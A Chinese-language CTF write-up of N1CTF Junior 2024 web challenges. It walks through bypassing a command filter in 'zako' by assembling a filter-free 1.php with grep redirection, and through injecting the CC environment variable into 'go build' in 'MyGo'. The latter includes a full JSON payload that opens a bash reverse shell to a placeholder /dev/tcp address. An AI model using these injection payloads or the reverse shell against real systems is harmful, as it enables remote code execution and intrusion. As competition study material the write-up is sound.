前言
“求求你再给点hint吧,我什么都不会做的😭”
”你这个人,真是满脑子都想着自己呢“
wp:
X1r0z:https://exp10it.io/2024/02/n1ctf-junior-2024-web-official-writeup/
大B哥:https://boogipop.com/2024/02/05/2024%20N1CTF%20Junior%20Web%20Writeup/
Web
ezminio (Unsolved)
MinIO rce
由题目名称可知靶机是MinIO服务
访问靶机会被重定向到其他页面
抓包发现是307重定向跳转
关于MinIO有p神的CVE-2021-21287 SSRF:https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html
还有CVE-2023-28432 RCE:https://exp10it.io/2023/05/minio-cve-2023-28432-%E8%87%AA%E6%9B%B4%E6%96%B0-rce-%E5%88%86%E6%9E%90
hint让我们参考rce,找个没校验的版本降级
zako
linux命令执行
PHP版本7.4.27
<?php
//something hide here
$cmd = $_REQUEST["__secret.xswl.io"];
if (strlen($cmd) > 70) {
die("no, > 70");
}
die("你就不能绕一下喵");
}
system("./execute.sh '".$cmd."'");
?>
传参?_[secret.xswl.io=ls /
,可以发现flag就在根目录下且有readflag
当前目录只有index.php和execute.sh
可以访问execute.sh下载下来
#!/bin/bash
reject(){
echo ${1}
exit 1
}
XXXCMD=$1
awk -v str="${XXXCMD}" \
'BEGIN{
deny="`;&$(){}[]!@#$%^&*-";
for(i = 1; i <= length(str); i++){
char = substr(str, i, 1);
for(x = 1; x < length(deny)+1; x++){
r = substr(deny, x, 1);
if(char == r) exit 1;
}
}
}'
[ $? -ne 0 ] && reject "NOT ALLOW 1"
eval_cmd=`echo "${XXXCMD}" | awk -F "|" \
'BEGIN{
allows[1] = "ls";
allows[2] = "makabaka";
allows[3] = "whoareu";
allows[4] = "cut~no";
allows[5] = "grep";
allows[6] = "wc";
allows[7] = "杂鱼❤~杂鱼❤~";
allows[8] = "netstat.jpg";
allows[9] = "awsl";
allows[10] = "dmesg";
allows[11] = "xswl";
}{
num=1;
for(i=1; i<=NF; i++){
for(x=1; x<=length(allows); x++){
cmpstr = substr($i, 1, length(allows[x]));
if(cmpstr == allows[x])
eval_cmd[num++] = $i;
}
}
}END{
for(i=1; i<=length(eval_cmd); i++) {
if(i!=1)
printf "| %s", eval_cmd[i];
else
printf "%s", eval_cmd[i];
}
}'`
[ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2"
eval ${eval_cmd}
可以看到除了ls之外还给我们留了个grep
来读取文件
尝试读flag读不了
grep "" /f???
猜测权限不足,那我们还是得执行根目录下的readflag
尝试读index.php
grep "" inde?????
<?php
//something hide here
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));
$cmd = $_REQUEST["__secret.xswl.io"];
if (strlen($cmd) > 70) {
die("no, > 70");
}
if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute)/is", $cmd)){
die("你就不能绕一下喵");
}
system("./execute.sh '".$cmd."'");
?>
接下来先看看我们可用的命令
ls,grep,wc,dmesg
wc
:统计文件中字符、单词和行数dmesg
:显示和控制内核环缓冲区
index.php这里ban的东西有点多,命令注入不了,不过没ban掉写入文件的>
所以我们可以利用grep匹配的特性再写一个没有waf的1.php
grep "<?php" inde????? >> 1.php
grep "REQUEST" inde????? >> 1.php
grep "system" inde????? >> 1.php
则此时的1.php为
<?php
$cmd = $_REQUEST["__secret.xswl.io"];
system("./execute.sh '".$cmd."'");
这个时候就可以用'
,于是注入我们的命令就行了
/1.php?_[secret.xswl.io=ls'|/readflag'
MyGo (复现)
go build 环境变量注入 RCE
package main
import (
"embed"
"fmt"
"github.com/gin-gonic/gin"
"net/http"
"os"
"os/exec"
)
//go:embed public/*
var fs embed.FS
func IndexHandler(c *gin.Context) {
c.FileFromFS("public/", http.FS(fs))
}
func BuildHandler(c *gin.Context) {
var req map[string]interface{}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusOK, gin.H{"error": "Invalid request"})
return
}
if !PathExists("/tmp/build/") {
os.Mkdir("/tmp/build/", 0755)
}
defer os.Remove("/tmp/build/main.go")
defer os.Remove("/tmp/build/main")
os.Chdir("/tmp/build/")
os.WriteFile("main.go", []byte(req["code"].(string)), 0644)
var env []string
for k, v := range req["env"].(map[string]interface{}) {
env = append(env, fmt.Sprintf("%s=%s", k, v))
}
cmd := exec.Command("go", "build", "-o", "main", "main.go")
cmd.Env = append(os.Environ(), env...)
if err := cmd.Run(); err != nil {
c.JSON(http.StatusOK, gin.H{"error": "Build error"})
} else {
c.File("/tmp/build/main")
}
}
func PathExists(p string) bool {
_, err := os.Stat(p)
if err == nil {
return true
}
if os.IsNotExist(err) {
return false
}
return false
}
func main() {
r := gin.Default()
r.GET("/", IndexHandler)
r.POST("/build", BuildHandler)
r.Run(":8000")
}
作用是起一个go的编译环境
审计一下代码,主要的核心部分在这里
var env []string
for k, v := range req["env"].(map[string]interface{}) {
env = append(env, fmt.Sprintf("%s=%s", k, v))
}
cmd := exec.Command("go", "build", "-o", "main", "main.go")
cmd.Env = append(os.Environ(), env...)
遍历请求中的env
字段,然后添加到变量env中,接着和编译时的环境变量拼到一起
看到环境变量注入第一反应会想到p神的那篇环境变量注入执行任意命令:https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html
<?php
foreach($_REQUEST['envs'] as $key => $val) {
putenv("{$key}={$val}");
}
//... 一些其他代码
system('echo hello');
?>
emm…然而并不行
php 的 system 调用的是系统的popen()
,实际执行的命令是sh -c "echo hello"
而题目中的命令直接使用exec.Command("go", "build", "-o", "main", "main.go")
运行,即直接执行了go build -o main main.go
,不存在Bash上下文,也就不存在Bash环境变量
所以只能从go build
命令本身所使用的环境变量入手,寻找命令注入的点
go命令的相关环境变量可以直接用go env
看
GO111MODULE=''
GOARCH='amd64'
GOBIN=''
GOCACHE='/root/.cache/go-build'
GOENV='/root/.config/go/env'
GOEXE=''
GOEXPERIMENT=''
GOFLAGS=''
GOHOSTARCH='amd64'
GOHOSTOS='linux'
GOINSECURE=''
GOMODCACHE='/go/pkg/mod'
GONOPROXY=''
GONOSUMDB=''
GOOS='linux'
GOPATH='/go'
GOPRIVATE=''
GOPROXY='https://proxy.golang.org,direct'
GOROOT='/usr/local/go'
GOSUMDB='sum.golang.org'
GOTMPDIR=''
GOTOOLCHAIN='local'
GOTOOLDIR='/usr/local/go/pkg/tool/linux_amd64'
GOVCS=''
GOVERSION='go1.21.6'
GCCGO='gccgo'
GOAMD64='v1'
AR='ar'
CC='gcc'
CXX='g++'
CGO_ENABLED='1'
GOMOD='/dev/null'
GOWORK=''
CGO_CFLAGS='-O2 -g'
CGO_CPPFLAGS=''
CGO_CXXFLAGS='-O2 -g'
CGO_FFLAGS='-O2 -g'
CGO_LDFLAGS='-O2 -g'
PKG_CONFIG='pkg-config'
GOGCCFLAGS='-fPIC -m64 -pthread -Wl,--no-gc-sections -fmessage-length=0 -ffile-prefix-map=/tmp/go-build532136062=/tmp/go-build -gno-record-gcc-switches'
环境变量的作用可以翻一下官方文档:https://pkg.go.dev/cmd/go#hdr-Environment_variables
其中 CC
的解释是:The command to use to compile C code.
用于编译C代码的命令,在我们的环境变量里这个值是 gcc ,即我们正常的c语言编译指令
直接在它给的docker环境里面测试一下
写一个main.go
package main
// typedef int (*intFunc) ();
//
// int
// bridge_int_func(intFunc f)
// {
// return f();
// }
//
// int fortytwo()
// {
// return 42;
// }
import "C"
import "fmt"
func main() {
f := C.intFunc(C.fortytwo)
fmt.Println(int(C.bridge_int_func(f)))
}
这样子是正常编译,但是如果我们修改一下环境变量会怎样
CC='whoami' go build -o main main.go
报错了,说明编译的命令被替换成 whoami 了,测试一下命令注入
CC='bash -c "whoami"' go build -o main main.go
成功执行命令
因为出网所以直接弹shell就行,接下来直接打入我们的payload(记得要开CGO)
{"env":{"GOOS":"linux","GOARCH":"amd64","CGO_ENABLED":"1",
"CC":"bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/14723 0>&1'"
},"code":"package main\n\n// typedef int (*intFunc) ();\n//\n// int\n// bridge_int_func(intFunc f)\n// {\n//\t\treturn f();\n// }\n//\n// int fortytwo()\n// {\n//\t return 42;\n// }\nimport \"C\"\nimport \"fmt\"\n\nfunc main() {\n\tf := C.intFunc(C.fortytwo)\n\tfmt.Println(int(C.bridge_int_func(f)))\n}"}
Derby (Unsolved)
Druid 绕过高版本 JDK 打 Derby RCE
参考:
https://github.com/Y4tacker/JavaSec/blob/main/9.JDBC%20Attack/Apache-Derby/index.md